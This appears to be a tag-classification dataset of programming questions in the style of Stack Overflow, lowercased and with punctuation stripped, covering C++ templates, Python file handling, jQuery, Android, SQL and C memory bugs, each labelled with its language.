cast to integral type or other type cannot appear in a constant expression  ideone testcase: <a href= http://ideone.com/lzepf  rel= nofollow >http://ideone.com/lzepf</a>    code:    <pre><code>#include &lt;iostream&gt; #include &lt;sstream&gt; #include &lt;vector&gt; #include &lt;map&gt; #include &lt;list&gt; #include &lt;set&gt;  #include &lt;stdint.h&gt;  template &lt;typename t&gt; std::ostream&amp; write(std::ostream&amp; os  t const&amp; x); template &lt;typename t&gt; std::istream&amp; read(std::istream&amp; is  t&amp; x);  template &lt;typename t  typename u&gt; std::ostream&amp; write(std::ostream&amp; os  std::pair&lt;t  u&gt; const&amp; rh); template &lt;typename t  typename u&gt; std::istream&amp; read(std::istream&amp; is  std::pair&lt;t  u&gt;&amp; rh);  template &lt;typename t&gt; std::ostream&amp; writecontainer(std::ostream&amp; os  t const&amp; rh);  template &lt;typename t  typename u&gt; std::ostream&amp; write(std::ostream&amp; os  std::map&lt;t  u&gt; const&amp; rh); template &lt;typename t  typename u&gt; std::istream&amp; read(std::istream&amp; is  std::map&lt;t  u&gt; rh);  template &lt;typename t&gt; std::ostream&amp; write(std::ostream&amp; os  std::vector&lt;t&gt; const&amp; rh); template &lt;typename t&gt; std::istream&amp; read(std::istream&amp; is  std::vector&lt;t&gt;&amp; rh);  template &lt;typename t&gt; std::ostream&amp; write(std::ostream&amp; os  t const&amp; x){     static_assert(!std::is_pointer&lt;t&gt;()   that s a pointer  you probably don t want to write that );     static_assert(std::is_pod&lt;t&gt;()   that s not a pod: can t write it );     os.write(reinterpret_cast&lt;const char *&gt;(&amp;x)  sizeof(t));     return os; }  template &lt;typename t&gt; std::istream&amp; read(std::istream&amp; is  t&amp; x){     static_assert(!std::is_pointer&lt;t&gt;()   that s a pointer  you probably don t want to read that );     static_assert(std::is_pod&lt;t&gt;()   that s not a pod: can t read it );     is.read(reinterpret_cast&lt;char *&gt;(&amp;x)  sizeof(t));     return is; }  template &lt;typename t  typename u&gt; std::ostream&amp; write(std::ostream&amp; os  std::pair&lt;t  u&gt; const&amp; rh){     write(os  rh.first);     write(os  rh.second);     return os; }  template &lt;typename t  typename u&gt; std::istream&amp; read(std::istream&amp; is  std::pair&lt;t  u&gt;&amp; rh){     read(is  rh.first);     read(is  rh.second);     return is; }  template &lt;typename t&gt; std::ostream&amp; writecontainer(std::ostream&amp; os  t const&amp; rh){     uint32_t size = std::distance(rh.begin()  rh.end());     write(os  size);      for(auto it = rh.begin(); it != rh.end(); ++it){         write(os  *it);     }      return os; }  template &lt;typename t&gt; std::istream&amp; readcontainer(std::istream&amp; is  t&amp; rh){     uint32_t size;     read(is  size);     std::insert_iterator&lt;t&gt; it(rh  rh.end());      for(uint32_t i=0; i&lt;size; ++i) {         typename t::value_type x;         read(is  x);         it = x;     }     return is; }  template &lt;typename t  typename u&gt; std::ostream&amp; write(std::ostream&amp; os  std::map&lt;t  u&gt; const&amp; rh){     return writecontainer(os  rh); }  template &lt;typename t  typename u&gt; std::istream&amp; read(std::istream&amp; is  std::map&lt;t  u&gt; rh){     return readcontainer(is  rh); }  template &lt;typename t&gt; std::ostream&amp; write(std::ostream&amp; os  std::vector&lt;t&gt; const&amp; rh){     return writecontainer(os  rh); }  template &lt;typename t&gt; std::istream&amp; read(std::istream&amp; is  std::vector&lt;t&gt;&amp; rh){     return readcontainer(is  rh); }  int main(){     {         std::stringstream s;         std::vector&lt;int&gt; x = {0  1  2  3};         write(s  x);     }      {         std::stringstream s;         std::map&lt;int  int&gt; x = {{0  0}  {1  2}  {2  4}  {3  6}};         write(s  x);     }      return 0; } </code></pre>   errors:   <pre class= lang-none prettyprint-override ><code>prog.cpp: in function  std::ostream&amp; write(std::ostream&amp;  const t&amp;) [with t = unsigned int  std::ostream = std::basic_ostream&lt;char&gt;] : prog.cpp:57:2:   instantiated from  std::ostream&amp; writecontainer(std::ostream&amp;  const t&amp;) [with t = std::vector&lt;int&gt;  std::ostream = std::basic_ostream&lt;char&gt;]  prog.cpp:92:30:   instantiated from  std::ostream&amp; write(std::ostream&amp;  const std::vector&lt;t&gt;&amp;) [with t = int  std::ostream = std::basic_ostream&lt;char&gt;]  prog.cpp:104:13:   instantiated from here prog.cpp:29:11: error: a cast to a type other than an integral or enumeration type cannot appear in a constant-expression prog.cpp:29:11: error: a cast to a type other than an integral or enumeration type cannot appear in a constant-expression prog.cpp: in function  std::ostream&amp; write(std::ostream&amp;  const t&amp;) [with t = int  std::ostream = std::basic_ostream&lt;char&gt;] : prog.cpp:60:3:   instantiated from  std::ostream&amp; writecontainer(std::ostream&amp;  const t&amp;) [with t = std::vector&lt;int&gt;  std::ostream = std::basic_ostream&lt;char&gt;]  prog.cpp:92:30:   instantiated from  std::ostream&amp; write(std::ostream&amp;  const std::vector&lt;t&gt;&amp;) [with t = int  std::ostream = std::basic_ostream&lt;char&gt;]  prog.cpp:104:13:   instantiated from here prog.cpp:29:11: error: a cast to a type other than an integral or enumeration type cannot appear in a constant-expression prog.cpp:29:11: error: a cast to a type other than an integral or enumeration type cannot appear in a constant-expression </code></pre>   since we have no line numbers  :(    it complains about the first <code>write(s  x)</code>  and seems to me complain about the <code>reinterpret_cast&lt;const char*&gt;(const unsigned int*)</code> but i m pretty sure that should be legal.     what s going wrong,c++
copy oldest file to another directory using python  there are some problems in my python program.    i want to open a directory  choose the oldest file and then copy the file to another directory.    i read the documents where  shutil  is mentioned  but i don t know how to choose the oldest one.    could someone help me solve this problem,python
sum up list of edit boxes based on a data type   i have a list of edit boxes with values in them. some are expenses (type-id= 1 )  and others are incomes (type-id= 2 ).    they are defined as:   <pre><code>&lt;input class= change-handled form-control  type-id= @sub.categorytypeid  sub-category-id= @sub.subcategoryid  data-id= @sub.categorybudgetid  style= text-align: right; width: 100%  type= number  value= @(sub.budgetamount.hasvalue   sub.budgetamount.tostring() :   )  /&gt; </code></pre>   at the moment  i have a javascript function which sums them all up  and displays the total:   <pre><code>var total = 0;         var $changeinputs = $( input.change-handled );         $changeinputs.each(function (idx  el) {                 total += number($(el).val());         });         $( #budgettedvalue ).text(total.tofixed(2)); </code></pre>   this works. however  i need to display a total for expenses  and a total for income.    so  i was hoping it would be as easy as this:   <pre><code>var total = 0;         var $changeinputs = $( input.change-handled );         $changeinputs.each(function (idx  el) {             if ($(idx).attr( type-id ) == 1) {                 totalexp += number($(el).val());             }             if ($(idx).attr( type-id ) == 2) {                 totalinc += number($(el).val());             }         }); </code></pre>   this  doesn t work. is there a way i can achieve this,javascript
why doesn t the block gets called with nsnotificationcenter   i just came across the <code>nsnotificationcenter</code> method <code>[nsnotificationcenter defaultcenter] addobserverforname: object: queue: usingblock:</code> method and since i m beginning to be comfortable using blocks i decided to try it out since i results in better code readability.      but for some reason i can t get it to work. for what reason doesn t this work   <pre><code>[[nsnotificationcenter defaultcenter] addobserverforname:@ somenotificationname                                                    object:self                                                    queue:[nsoperationqueue mainqueue]                                               usingblock:^(nsnotification *note) {                                                    nslog(@ this doesn t work );                                                   // ... want to do awesome stuff here...                                                }]; </code></pre>   where as this works just fine   <pre><code>[[nsnotificationcenter defaultcenter] addobserver:self                                          selector:@selector(amethod)                                              name:@ somenotificationname                                             object:nil]; //... //....  - (void)amethod {     nslog(@ this works );     // ... doing awesome stuff here... } </code></pre>   <strong>end note</strong><br> thanks  for future reference this is my final solution   <pre><code>// declared instance variable id _myobserver; //...  _myobserver = [[nsnotificationcenter defaultcenter] addobserverforname:@ somenotificationname                                                                            object:nil                                                                            queue:[nsoperationqueue mainqueue]                                                                       usingblock:^(nsnotification *note) {                                                                            nslog(@ it s working! it s working!! );                                                                           // ... again doing awesome stuff here...                                                                        }]; </code></pre>   and then finally  (when i m done with the object)   <pre><code>- (void)dealloc {     [[nsnotificationcenter defaultcenter] removeobserver:_myobserver]; } </code></pre>,objective-c
"can i make sure that this element stays on other screens   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div style= position: absolute; top:401px; left:1450px; width:400px; height:25px &gt;&lt;a href= http://www.test.com/ &gt;&lt;img src= http://i.imgur.com/p6u5ufb.png  onmouseover= this.src= http://i.imgur.com/vo8ddlk.png   onmouseout= this.src= http://i.imgur.com/p6u5ufb.png  &gt;&lt;/a&gt;&lt;/div&gt;</code></pre>
 </div>
 </div>
     i m making a website right now  and i ran into some problems that i just can t fix.    i have some elements on my website  and they keep moving when i open the website on other screens.    what can i do to make this element stay no matter what size it is  - same for other elements.",html
how to get pointer to a local variable in javascript   let say i know that a variable is called  myvar   it is declared in a self calling function   <pre><code>(function (){     var myvar=0;     setinterval(function(){              console.log(myvar++);         }  3000);   })(); </code></pre>   but i don t know where this function is called  and don t want to reverse engineer tons of js. i want to find a reference to this variable so i can display it in console something like window.rootobject.subobject.myvar . i tried to make a function that does recursive seek for key from the window object  but it does a stackoverflow  certainly because of circular references (an object contain reference to its containing object).    is there any simple way to find where is this object     <hr>   edit : the original question was about finding a var in global space having just its name  without knowing if it was descendent of window object or stored in environementrecord. the sample code i provided was misleading  so i edited the question and accepted an answer to make it usefull.,javascript
how can i restrict input to 4-digit number  i want to retrieve a 4-digit employee id from the user. how can i restrict the input field to 4-digit     <pre><code>&lt;tr&gt; &lt;td&gt;4 digit employee id:&lt;/td&gt; &lt;td&gt;&lt;input type =  number  name =  employee_id  size =  20 &gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>,html
c  inline function and gcc  if i have:   <pre><code>inline int foo(void) {    return  10 + 3; }  int main(void) {    foo(); } </code></pre>   with gcc the file compiles well but the linker returns <code>undefined reference to foo</code>    instead if i remove <code>inline</code> the linker is happy!    it seems as an identifier of an external definition is visible to the linker but an identifier of an inline definition is not.    also if i compile with <code>-o3</code> flag the linker sees the identifier of the inline definition.    what s the problem,c
can t put created paragraph element into div   so i m trying to make a simple comments page but i can t seem to get it working :/ is there something wrong with the code  i m trying to use only javascript since i have not learned jquery   <pre><code>function action(){      var input = document.getelementbyid( header ).value;     localstorage.setitem( comment  input);     document.getelementbyid( header ).value=   ;     var getinput = localstorage.getitem( comment );     var date = date();     var parag = document.createelement( p )     parag.innertext=getinput;     document.getelementbyid( hello ).appendchild=parag;   }  &lt;textarea id= header  type= text  rows= 6  cols= 100  name= server &gt;  &lt;/textarea&gt;  &lt;input onclick= action();  type= button  value= comment &gt;  &lt;span id= hello &gt;&lt;/span&gt; </code></pre>,javascript
rezise jframe according to inner jpanel in absolute layout  im trying to make a gui application in java everything is going well. i just want to ask how to set main jframe size as according to the inner components... i mean if i add more components lenght of jframe should automatically increase. as im seting size of jframe but frame.setsize method if i dont use this then i have to resize menually jframe by my mouse to see components. i want to set jframe size once so that it should automatically increase no matter how much components i further add in that frame. i tried to use frame.pack(); but no usefull... give me solution,java
changed $dbhost from hostname to ip address  and now i m getting connection errors. are they not interchangeable   the only change i made was    <pre><code>$dbhost = &lt;hostname&gt; </code></pre>   to   <pre><code>$dbhost = &lt;ipaddress&gt; </code></pre>   and now it s giving me connection errors.       error:   <pre><code>database connection error  a failure occurred attempting to connect to the database.   this could be caused by a temporary network failure  but it s more likely that this is the result of incorrect database connection parameters specified at the time webevent was installed.   please contact your site administrator for assistance in diagnosing this problem.  </code></pre>,php
passing a temporary to a function as an lvalue  i am trying to implement a list class as follows   <pre><code>class nolist { //  non-owning  list  protected:      int ndata;     double* data;      // construct given an existing data array     nolist(int ndataarg  double* dataarg) : ndata(ndataarg)  data(dataarg) {}  public:      // copy constructor     nolist(const nolist&amp;)=default;      // return nolist representing sub-list      nolist sublist(const int at) {         return nolist(ndata-at  data+at);     }      // operators     nolist&amp; operator*=(const double&amp; factor) {         for(int i = 0; i &lt; ndata; i++) {             data[i] *= factor;         }         return *this;     }  };  struct list : public nolist { // wrapper (responsible for memory management only)      list(const int ndataarg) : nolist(ndataarg  new double[ndataarg]) {}      ~list() { delete[] data; }  };  void triple(nolist&amp; arg) {      arg *= 3.0; } </code></pre>   i like this pattern because it makes it possible to things like <code>a.sublist(1).sublist(2)</code>  which makes it convenient to implement some things recursively. my actual case is more complicated  but i ve stripped it down to something which represents the core idea.    this creates a problem in the following   <pre><code>list a(50);  // [code to set a...]  a.sublist(5) *= 3; // works  triple(a.sublist(5)); // error: invalid initialization of non-const reference of type  nolist&amp;  from an rvalue of type  nolist   </code></pre>   my guess is that  in the second-last line  <code>a.sublist(5)</code> is <code>this</code> during the call to <code>operator*=</code> and is therefore guaranteed to last for the entire call  but in the second case it is just an argument and therefore its lifetime gets no extension. i can get around the error by replacing the last line with   <pre><code>nolist atmp(a.sublist(5)); // make the sublist non-temporary triple(atmp);              // modify the sublist </code></pre>   ...but i m wondering whether there is a more elegant solution. essentially i would like to prolong the life of a temporary for the duration of a function call and allow it to be used as an lvalue during that lifespan.,c++
android packagemanager queryintentactivity need permission  in my app  i want to get all the app installed  code like this   <pre><code>    packagemanager packagemanager = getpackagemanager();      intent intent = new intent();     intent.setaction(intent.action_main);     intent.addcategory(intent.category_launcher);      list&lt;resolveinfo&gt; resolveinfos = packagemanager.queryintentactivities(intent  0); </code></pre>   when i give the permission of <em>read_phone_state</em>. i get all the apps  but when i refuse  i get only three app info  it makes me confuse. anyone can explain it. thanks,android
datastructure in c++ for maintaining the insertion order and eliminating duplicates  i need to maintain the order in which user entered the data  but need to eliminate the duplicates. i looked at map  it eliminates the duplicates  but it is not possible to maintain the order in which user entered. same problem with set. is there any datastructure in stl that can meet both the requirements  i cannot use boost on this project.,c++
how create a controller to import csv file data into multiple tables in rails   how to import data from a csv file rows into multiple tables in rails     i am trying to write a method for uploading and importing a csv file that has data that will need to go to different tables in a existing database using the smarter_csv gem.,ruby-on-rails
jquery - pass dynamic variable to delegated event parameters  i know i can do like this  and my function will work.   <pre><code>var theroom =  room1 ;      $( #notifyparent ).unbind( click ).one( click    #  + theroom +  321   function () {     //do something }); </code></pre>   but how to do the same thing when <code>theroom</code> is a dynamic variable that can change after the page is loaded  is it even possible,jquery
adding more than two image to the canvas in android  i am new to android and trying to merge three image into the canvas.as u will see in my code using three image.but in the canvas only two image is showing the first one and the last one seems like that the middle image(desert) is lost while drawing in the canvas.here is the code     code:-   <pre><code>package com.example.combineimage;  import java.io.ioexception; import java.io.inputstream; import java.util.arraylist;  import android.os.bundle; import android.os.iinterface; import android.app.activity; import android.content.context; import android.graphics.bitmap; import android.graphics.bitmapfactory; import android.graphics.blurmaskfilter; import android.graphics.canvas; import android.graphics.color; import android.graphics.matrix; import android.graphics.paint; import android.graphics.rect; import android.util.log; import android.view.menu; import android.view.view; import android.view.view.onclicklistener; import android.widget.button; import android.widget.imageview;  public class combineactivity extends activity {      private bitmap image1 image2 image3 combo_image image1newsize image2newsize image3newsize merge_image;     context mcontext;     private inputstream inputis1 inputis2 inputis3;     private button click_to_combine;     private final int fixedimage_size=100;     private imageview final_imageview;     int blurvalue = 5;     arraylist&lt;bitmap&gt; myimage_list;       @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_combine);         mcontext=combineactivity.this;          click_to_combine=(button) findviewbyid(r.id.button_click);          final_imageview=(imageview) findviewbyid(r.id.imageview1);          myimage_list=new arraylist&lt;bitmap&gt;();          try{             inputis1=mcontext.getresources().openrawresource(r.drawable.koala);         image1=bitmapfactory.decodestream(inputis1);         image1newsize=resize_image(image1);         inputis2=mcontext.getresources().openrawresource(r.drawable.desert);          image2 = bitmapfactory.decodestream(inputis2);          image2newsize=resize_image(image2);          inputis3 =mcontext.getresources().openrawresource(r.drawable.jellyfish);          image3=bitmapfactory.decodestream(inputis3);          image3newsize=resize_image(image3);           myimage_list.add(image1newsize);          myimage_list.add(image2newsize);          myimage_list.add(image3newsize);         }         finally         {             try {                 inputis2.close();                 inputis2.close();                 inputis3.close();             } catch (ioexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }         }          click_to_combine.setonclicklistener(new onclicklistener() {              @override             public void onclick(view v) {                 // todo auto-generated method stub                 merge_image=merge_given_image(myimage_list);                  final_imageview.setimagebitmap(merge_image);             }         });      }      protected bitmap merge_given_image(arraylist&lt;bitmap&gt; myimage_list2) {         // todo auto-generated method stub         rect srcrect destrect;         bitmap combobitmap;         int total_width=0 total_height=0;         int total_image=myimage_list2.size();         int count=0;         canvas mcanvas;         bitmap temp_bitmap=null;         for(int i=0;i&lt;total_image;i++)         {              temp_bitmap=myimage_list2.get(i);             total_width=total_width+temp_bitmap.getwidth();             log.e( total size    .. +total_width+total_image);          }         total_height=temp_bitmap.getheight();         log.e( total size    .. +total_height);         combobitmap=bitmap.createbitmap(total_width  total_height  bitmap.config.argb_8888);         mcanvas=new canvas(combobitmap);          for(int i=0;i&lt;total_image;i++)         {             srcrect=new rect(0  0  myimage_list2.get(i).getwidth()  myimage_list2.get(i).getheight());             destrect=new rect(srcrect);             if(i!=0)             {                 destrect.offset(myimage_list2.get(i-1).getwidth()  0);                  count=count+1;                 log.e( count    .. +count);             }              mcanvas.drawbitmap(myimage_list2.get(i)  srcrect  destrect  null);          }          return combobitmap;     }      private bitmap resize_image(bitmap image_org) {           int org_width=image_org.getwidth();         int org_height=image_org.getheight();          int newheight=fixedimage_size;         int newwidth=fixedimage_size;          float scalewidth=((float)newwidth)/org_width;         float scaleheight=((float)newheight)/org_height;          matrix matrix=new matrix();          matrix.postscale(scalewidth  scaleheight);          bitmap newsizeimage=bitmap.createbitmap(image_org  0  0  org_width  org_height  matrix  true);          return newsizeimage;         // todo auto-generated method stub        }      protected bitmap merge_given_image(bitmap image_first  bitmap image_second              bitmap image_third) {         // todo auto-generated method stub           bitmap combobitmap;         //blurmaskfilter blurfilter;         //paint paintblur=new paint();          int total_width total_height;           total_width=image_first.getwidth()+image_second.getwidth()+image_third.getwidth();         total_height=image_first.getheight();           combobitmap=bitmap.createbitmap(total_width  total_height  bitmap.config.argb_8888);         canvas combocanvas=new canvas(combobitmap);   //      //create background in white //       bitmap alpha = combobitmap.extractalpha(); //       paintblur.setcolor(color.white); //       combocanvas.drawbitmap(combobitmap  0  0  paintblur);  //      //create outer blur  in white //       blurfilter = new blurmaskfilter(blurvalue  blurmaskfilter.blur.outer); //       paintblur.setmaskfilter(blurfilter); //       combocanvas.drawbitmap(combobitmap  0  0  paintblur);  //      //create inner blur //       blurfilter = new blurmaskfilter(blurvalue  blurmaskfilter.blur.inner); //       paintblur.setmaskfilter(blurfilter); //       combocanvas.drawbitmap(combobitmap  0  0  paintblur);           combocanvas.drawbitmap(image_first 0f  0f  null);         combocanvas.drawbitmap(image_second  (image_first.getwidth()/2)  0f  null);         combocanvas.drawbitmap(image_third  image_second.getwidth()  0f  null);          return combobitmap;      }      @override     protected void onpause() {         // todo auto-generated method stub         image1.recycle();         image1newsize.recycle();         image2.recycle();         image2newsize.recycle();         image3.recycle();         image3newsize.recycle();         super.onpause();     }   } </code></pre>   in the above code u will find two method one having three bitmap and one method having arraylist of those three image.so in the method with three image display half of the first two image with some modification i.e.<code>combocanvas.drawbitmap(image_second  (image_first.getwidth()/2)  0f  null);</code>but the method with arraylist shows only two image.here the snapshot for the output also <img src= https://i.stack.imgur.com/u3kup.png  alt= sanpshot of output >. i follow and go through he link are 1:<a href= https://stackoverflow.com/questions/12151727/create-alpha-gradient-on-image-to-create-fade-effect >merging image with rect draw</a> 2:<a href= https://stackoverflow.com/questions/2416456/how-to-add-3-images-in-a-canvas-in-android >merging image in canvas</a>    but not getting the desired output so can anybody tell  me where i m doing wrong.any help will be very helpfull.thanks,android
sql query for finding nth max sal of employee group by deptno <pre><code>select deptno distinct(sal) from emp e1 group by deptno sal where 3=(select count(distinct(sal)) from emp e2 where e1.sal&lt;=e2.sal); </code></pre>   i have got error** missing expression **,sql
mysql select items with only one row flagged  i have a situation similar to the following:   <pre><code>pets petid | name | option | optionavail ------+------+--------+------------    1  | dog  | leash  |     1    2  | dog  | crate  |     0    3  | cat  | leash  |     1    4  | cat  | box    |     1 </code></pre>   i want a query that if i specify an option  it should return all names with that being the only available option. so for example if i specify leash i d want only dog returned since leash is the only available option for dog  where cat also has box available. the idea is a user is notified of names that ll have no more available options currently applied if they make one unavailable. this should return any number of names that fit this criteria  but will only ever have one option specified at a time (can t specify leash and crate for same query). this seems like a simple query to perform but it just isn t coming to me.,mysql
how to access subprojects header file in main project  i have one main project and another project which is added as a subprojects. i want to access header file which is defined in subproject into the main projects but unfortunate it is saying file not find error.    please have look on the attach image. what should i modify to access header files of subprojects     <img src= https://i.stack.imgur.com/bppik.png  alt= enter image description here >,iphone
view css styles in a demo page  is there an app out there that will take a .css file and output a demo page of it     like take all the span/div/a elements and display what they would look like in an html page,css
unable to start or call boot completed broadcast receiver after reboot android mi-4i  //androidmanifest.xml file code    //permission   <pre><code>&lt;uses-permission android:name= android.permission.receive_boot_completed  </code></pre>   // receiver   <pre><code> &lt;receiver android:name= app.easylogger.receivers.bootreceiver  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.boot_completed  /&gt;                  &lt;category android:name= android.intent.category.default  /&gt;             &lt;/intent-filter&gt;   &lt;/receiver&gt; </code></pre>  <hr>   //broadcast receiver class   <pre><code>public class bootreceiver extends broadcastreceiver {      public static final string tag =  bootcompletedreceiver ;      @override     public void onreceive(context focontext  intent intent) {         log.d(tag   onreceive:bootcompletedreceiver called );     } } </code></pre>   // log file not printed or also same for toast message,android
c program works fine while debugging but the execution fails for some inputs  this is a sample implementation of kd-tree. where i first take number of dimensions  number of points  number of clusters to be formed. bi-partition function calculates centroid  dimension which has max variance. now based on the max dimensions mean i start splitting the points. this program works fine when input is (dimensions-2 points-20 clusters-4). but does not work for (dimensions-2 points-20 clusters-8). when i debug the program it gives proper output.but when i run the program it stops working.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; #include &lt;math.h&gt; #include &lt;stdbool.h&gt;  int *gendata(int num); void bipartition_fn(int dimensions int nodes int i0  int im  int *data int *cluster_size int *cluster_start  int *cluster_bdry  int *cluster_centroid); void kdtree_fn(int dimensions  int nodes  int k  int *data int *k_cluster_size int **k_cluster_centroid int *k_cluster_start int **k_cluster_bdry );  int main() {     int dimensions nodes i k j;     printf( enter the number of dimensions );     scanf( %d  &amp;dimensions);     printf( enter the total number of elements in multiples of dimensions );     scanf( %d   &amp;nodes);     printf( enter number of clusters );     scanf( %d  &amp;k);     int *data;     int *k_cluster_size;     int **k_cluster_centroid;     int *k_cluster_start;     int **k_cluster_bdry;     data = gendata(nodes); /*dynamic array generation for data points*/      k_cluster_bdry=(int **)malloc(k*sizeof(int *));     for(i=0;i&lt;(2*k-2);i++)         *(k_cluster_bdry+i)=(int *)malloc(2*dimensions*sizeof(int));     k_cluster_centroid=(int **)malloc(k*sizeof(int *));     for(i=0;i&lt;(2*k-2);i++)         *(k_cluster_centroid+i)=(int *)malloc(dimensions*sizeof(int));     k_cluster_size=malloc((2*k-2)*sizeof(int));     k_cluster_start = malloc((2*k-2)*sizeof(int));      /*calling the kdtree function*/     kdtree_fn(dimensions  nodes  k  data  k_cluster_size  k_cluster_centroid  k_cluster_start  k_cluster_bdry);      /*printing the cluster size */      printf( cluster size \n );     for(i=k-2; i&lt;(2*k - 2); i++){         printf( %d    k_cluster_size[i]);     }      free(data);     free(k_cluster_bdry);     free(k_cluster_centroid);     free(k_cluster_size);     free(k_cluster_start);     return 0; }   void kdtree_fn(int dimensions  int nodes  int k  int *data int *k_cluster_size int **k_cluster_centroid int *k_cluster_start int **k_cluster_bdry){      int i j d0 dm x m=0 l n=0 check=1 s temp=0;     d0 = 0  dm =nodes ;     int *cluster_size  *cluster_start;     int *cluster_bdry;     int *cluster_centroid;     int *query;     int *res;      query = (int *)malloc(sizeof(int)*dimensions);     res = (int *)malloc(sizeof(int)*dimensions);     cluster_centroid = (int*)malloc(dimensions*sizeof(int));     cluster_bdry = (int*)malloc(4*dimensions*sizeof(int));     cluster_size=(int*)malloc(2*sizeof(int));     cluster_start = (int*)malloc(2*sizeof(int));  /* iterating k-1 times to form k clusters */     for(x=0 ; x&lt;k-1; x++){      bipartition_fn(dimensions  nodes  d0  dm  data  cluster_size  cluster_start  cluster_bdry  cluster_centroid);      for( i=0;i&lt;dimensions; i++){     k_cluster_centroid[x][i] = cluster_centroid[i];     }     for( i=0;i&lt;2; i++){     k_cluster_size[m] = cluster_size[i];     k_cluster_start[m] = cluster_start[i];     m++;     }     int p=0 r=0;     while(p&lt;2){         l=0;         i=0;         while(i&lt;2*dimensions){             k_cluster_bdry[temp][l] = cluster_bdry[r];             l++;             i++;             r++;         }         temp++;         p++;     }      s = pow(2 check);       if(x == 0 ||(x%(s-2)) == 0){         d0 =0;         nodes = k_cluster_size[n];         check++;         n++;     }     else{         d0 = d0+k_cluster_size[n-1];         nodes = k_cluster_size[n];         n++;     }     }      free(cluster_bdry);     free(cluster_centroid);     free(cluster_size);     free(cluster_start); }  /*each bipartition function gives 2 clusters*/ void bipartition_fn(int dimensions int nodes int d0  int dm  int *data int *cluster_size int *cluster_start  int *cluster_bdry  int *cluster_centroid){      int i j x k;     int  node = nodes/dimensions;     int sum min max;     int *cluster_assign;     cluster_assign = malloc(nodes*sizeof(int));     int *assign;     assign= (int *)malloc(node*sizeof(int));    // printf( nodes: %d \n   nodes);          /*calculate centroid and boundaries*/     i=0;     j=d0;     while(i&lt;dimensions){             sum=0;         while(j&lt;(d0+nodes)){             sum = sum+data[j];             j = j+dimensions;         }     cluster_centroid[i] = sum/node;         i = i+1;         j=d0+i;     }      /* calculate variance of each dimension and find dimension with maximum variance*/      int var[dimensions] g h;      h=d0;      g=0;     while(g&lt;dimensions){         sum = 0;         while(h&lt;(d0+nodes)){            sum = sum +((cluster_centroid[g] - data[h])*(cluster_centroid[g] - data[h]));            h=h+dimensions;         }         var[g] = sum/node;         g=g+1;         h=(d0+g);     }     int large = var[0];     int max_dimension =0;     int p;     for(p=0; p&lt;dimensions; p++){         if(var[p]&gt;large){             large = var[p];             max_dimension = p;         }    }      /* find mean of maximum variance*/     int mean = cluster_centroid[max_dimension];     //printf( mean %d \n  mean);     i=d0+max_dimension;     x=0;     while(i&lt;(d0+nodes)){         if(data[i] &lt; mean){            assign[x]=0;         }         else{             assign[x]=1;         }         x++;         i= i+dimensions;     }      /* rearranging the points based on mean points lesser than mean goes to left and greater than mean goes to right*/     x=0;     int count=0;     int y=0;     for(i=0; i&lt;node; i++){         if(assign[y] == 0){                 count++;             for(j=dimensions*i; j&lt;dimensions*(i+1); j++){                  cluster_assign[x] = data[d0+j];                 x++;             }         }         y++;     }     cluster_size[0] = count*dimensions;     cluster_start[0]= d0;      count=0;     y=0;     for(i=0; i&lt;node; i++){         if(assign[y]!=0){             count++;             for(j=dimensions*i; j&lt;dimensions*(i+1); j++){                 cluster_assign[x] = data[d0+j];                 x++;             }         }         y++;     }     cluster_size[1] = count*dimensions;     cluster_start[1]= d0+cluster_size[0];      int temp1 temp2;     x=0;     p=0;     while(p&lt;2){         j=cluster_start[p];         i=0;         while(i&lt;dimensions){             min=data[j];             max=data[j];             temp1=cluster_start[p];             temp2=cluster_size[p];             while(j &lt; temp1+temp2){                  if(data[j]&lt;min)                     min = data[j];                 if(data[j]&gt;max)                     max= data[j];                 j = j+dimensions;             }             cluster_bdry[x]=min;             x=x+1;             cluster_bdry[x]=max;             x=x+1;             i = i+1;             j=temp1+i;         }         p++;     }     /*printf( bou );     for(i=0; i&lt;4*dimensions; i++){         printf( %d   cluster_bdry[i]);     } */     free(cluster_assign);     free(assign);  }    /*initialize data array*/ int *gendata(int num) {     int *ptr = (int *)malloc(sizeof(int)*num);     int j = 0;     if(ptr != null)     {         for(j = 0; j &lt; num; j++)         {             ptr[j] = -50 + rand()%101;         }     }     return ptr; } </code></pre>,c
splitting list and storing contents in an another array  i receive the following list of strings from client. it is dynamic in its nature and can has less element than showing below.   <pre><code>0:  5146d57a-701d-e511-82ee-303a64efb676_6544d57a-701d-e511-82ee-303a64efb676   1:  5146d57a-701d-e511-82ee-303a64efb676_6644d57a-701d-e511-82ee-303a64efb676  </code></pre>   <strong>my next step</strong>  is to create an <code>array</code> and <code>push unique strings</code> in it showing before <strong><code> _ **</code> for each unique string showing right after **<code> _ </code></strong>    so  with above data i should have two arrays. 1st array should contains <code> 5146d57a-701d-e511-82ee-303a64efb676_6544d57a </code> and 2nd array <code> 5146d57a-701d-e511-82ee-303a64efb676_6544d57a </code>    <strong>my try:</strong> (i am trying in the following way which actually far away from right implementation.)    <pre><code>int entitycount = model.ids.select(line =&gt; line.split( _ ).last()).distinct().count(); for (var i = 0; i &lt; entitycount; i++) {     string entityid = model.ids.select(line =&gt; line.split( _ ).last()).distinct().firstordefault();     list&lt;string&gt; tstids = model.ids.select(line =&gt; line.split( _ ).first()).distinct().tolist(); } </code></pre>   kindly help me to resolve it.,c#
what s the pythonic way to loop through an iterator when the first few values are special   the standard away is:   <pre><code>it = iter(sequence) for value in it:     print value </code></pre>   i m using a third party library that returns an iterator with the first value being a header  the second value being metadata and the rest of the values being records.  i have tried something like:   <pre><code>db = dbfreader(f) headers = db.next() spec =  db.next() record = db.next() while record:     print record     record = db.next() </code></pre>   but that results in a stopiteration error,python
